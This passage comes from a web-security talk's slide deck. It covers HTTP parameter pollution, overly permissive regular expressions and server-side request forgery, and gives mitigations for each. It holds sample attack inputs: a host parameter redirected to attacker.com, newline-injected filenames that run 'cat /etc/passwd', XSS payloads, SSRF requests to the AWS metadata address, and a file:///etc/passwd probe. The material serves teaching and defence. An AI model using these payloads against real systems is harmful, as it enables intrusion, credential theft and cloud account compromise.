 &host=https%3A%2F%2Fwww.periscope.tv
 &host=https%3A%2F%2Fattacker.com
  • 16. Append existing parameters with different values Example: http://example.com/test? id=12345&test=true&id=54321
  • 17. With Burp Suite Intruder
  • 18. SOURCES •Form fields (search, login, etc.) •Pagination •Admin page identifiers ‣http://example.com/admin/ page=1&action=view&page=12345 •Find more by intercepting all POST requests & parameters
  • 21. DEFENCE AND MITIGATION •Dynamic testing (DAST) •Find instances of parameters in source code- explicitly select first or last •Check your WAF •Output encoding •Best case- strip duplicate parameters before processing
  • 22. Sources & further reading
  • 23. SOURCES & FURTHER READING •https://dunnesec.com/category/attacks-defence/http-parameter-pollution/ (@Dunn3) •https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG- INPVAL-004) •AppSec EU 2009 - presentation by Luca Carettoni and Stefano di Paola (https:// www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf) •Split and Join white paper on bypassing web application firewalls with HTTP parameter pollution, by Lavakumar Kuppan (http://www.andlabs.org/whitepapers/ Split_and_Join.pdf) •Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications, by Marco Balduzzi, Carmen Torrano Gimenez, Davide Balzarotti, and Engin Kirda (https:// www.isoc.org/isoc/conferences/ndss/11/pdf/6_1.pdf)
  • 26. COMMON GOTCHAS •Have you caught the right character case?  •Word boundaries •Do you really need to use “*"? ‣Example: d*|w+ matches 1, table, admin, user, 12345, etc. •Special characters •Don’t try to parse HTML with regular expressions. ‣Just don’t.
  • 28. Whitespace and multiline abuse to remote code execution https://nvisium.com/blog/2015/06/11/regex-regularly-exploitable/ •Regex: /^[/a-zA-Z0-9-s_]+.rpt$/m ‣file123_2.rpt •file123_2%0Acat%20/etc/passwd%0A.rpt •file123_2.rpt%0Acat%20/etc/passwd •Used to be the default in Ruby on Rails. ‣javascript:alert('XSS')%0Ahttp:// validurl.com%0A<script>alert('More XSS');</script>
  • 29. Blacklist bypass to XSS •http://web.site/cg/aLink.do?state=abc •URL-encoded “</title>” is caught •http://web.site/cg/aLink.do?state=abc%3C/ title%20id=%22a%22%3E%3Cimg%20src=x%20on error=alert%289%29%3E https://deadliestwebattacks.com/2014/09/09/bad-code-entitles-good-exploits/
  • 30. Testing for overly permissive regex
  • 31. TESTING FOR OVERLY PERMISSIVE REGEX •Helpful regex tools: ‣https://regex101.com/ ‣http://www.regexpal.com/ ‣http://regexr.com/ ‣Patterns (OSX app): https://krillapps.com/patterns/ •Dynamic testing of input with fuzzy input ‣https://github.com/danielmiessler/SecLists/tree/master/Fuzzing ‣Line breaks (%0A), carriage returns (r), new line (n)
  • 33. DEFENCE AND MITIGATION •Keep it simple •Perform transformations in stages •Test, test, test some more ‣Have some fresh eyes take a look •Use proven regular expressions ‣IPv4 address: /^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(?: 25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/ •Whitelist, not blacklist
  • 34. Sources & further reading
  • 35. SOURCES & FURTHER READING •http://www.rexegg.com/ - Solid regex reference •https://www.owasp.org/index.php/ Regular_Expression_Security_Cheatsheet •Ruby on Rails vulnerability writeup: https:// homakov.blogspot.ca/2012/05/saferweb-injects-in-various- ruby.html
  • 36. Server Side Request Forgery (SSRF) CWE-918
  • 37. SSRF - OVERVIEW •Bypass firewalls •Reach internal network •Often an application attack becomes network attack •Useful for enumeration and reconnaissance ‣Further hides attacker’s source IP •Often introduced to bypass SOP (it’s a feature!) •Can be leveraged to get XSS via returned content
  • 39. Querying AWS metadata through SSRF http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/
  • 40. ATTACK STEPS 1. Found the following endpoint: https://play.esea.net/ global/media_preview.php?url= ‣Only loads images 2. Bypass: https://play.esea.net/global/media_preview.php? url=http://ziot.org/?.png ‣https://play.esea.net/global/media_preview.php? url=http://ziot.org/xss.html?.png ‣Hey, look- an overly permissive regex!
  • 41. ATTACK STEPS (CONT’D) 3. Query http://169.254.169.254/ to pull AWS instance metadata ‣https://play.esea.net/global/media_preview.php? url=http://169.254.169.254/latest/meta-data/?.png ‣Guide: http://docs.aws.amazon.com/AWSEC2/latest/ UserGuide/ec2-instance-metadata.html
  • 44. Let’s modify the post request...
  • 45. Fun fact- Google was running a minecraft server at "minecraft.corp.google.com"
  • 47. TESTING FOR SSRF •Is a URL provided in a request? Change to: ‣Another remote URL (e.g. google.com) ‣Loopback address (e.g. localhost, 127.0.0.1) ‣Local IP (e.g. 192.168.0.1, 10.10.0.1, 172.16.0.1) ‣Different protocol URL (e.g. “file://“, “ssh://“, “ftp://“) ‣Different port •Burp Suite Intruder works really well for automating this ‣Sort by response sizes
  • 48. TESTING FOR SSRF (CONT’D) •Got XXE? Try specifying system or external URIs (e.g. file:/// etc/passwd) ‣More info: https://www.owasp.org/index.php/ XML_External_Entity_(XXE)_Processing •Use Burp Suite’s Collaborator servers for external resources, if you don’t have your own
  • 50. DEFENCE AND MITIGATION •SOP exists for a reason ‣DO NOT use JSONP or other server workarounds ‣DO use CORS •Again- whitelist allowed domains and protocols, and sanitize input •Access control between server and internal network
  • 51. DEFENCE AND MITIGATION (CONT’D) •Why whitelist protocols? •PHP supported protocol URLs: •file:// •http:// •ftp:// •php:// •zlib:// •data:// •Glob:// •phar:// •ssh2:// •rar:// •ogg:// •expect:// More: http://php.net/manual/en/wrappers.php
  • 52. Sources & further reading
  • 53. SOURCES & FURTHER READING •https://blog.securitycompass.com/ssrf-as-a-service- mitigating-a-design-level-software-security-vulnerability- ba2fbb690269
  • 55. OWASP TOP 10 2013 A1- Injection A2- Broken authentication and session management A3- Cross-site scripting (XSS) A4- Insecure direct object references (IDOR) A5- Security misconfiguration
  • 56. OWASP TOP 10 2013 (CONT’D) A6- Sensitive data exposure A7- Missing function level access control A8- Cross-site request forgery (CSRF) A9- Using components with known vulnerabilities A10- Unvalidated redirects and forwards
  • 57. BEYOND OWASP TOP 10 1. HTTP parameter pollution (HPP) 2. Overly permissive regular expression 3. Server-side request forgery (SSRF)
  • 58. OWASP Top 10 2017 RC
  • 59. OWASP TOP 10 2017 RC
  • 62. The OWASP Top 10 is a good start, but there’s much more
  • 63. RESOURCES TO KEEP LEARNING •HackerOne "hacktivity" feed: https://hackerone.com/ hacktivity •Twitter •Reddit /r/netsec •HackerOne Zero Daily newsletter: https:// www.hackerone.com/zerodaily
  • 64. Thank you Aaron Hnatiw Twitter: @insp3ctre aaron@securitycompass.com SecurityCompass.com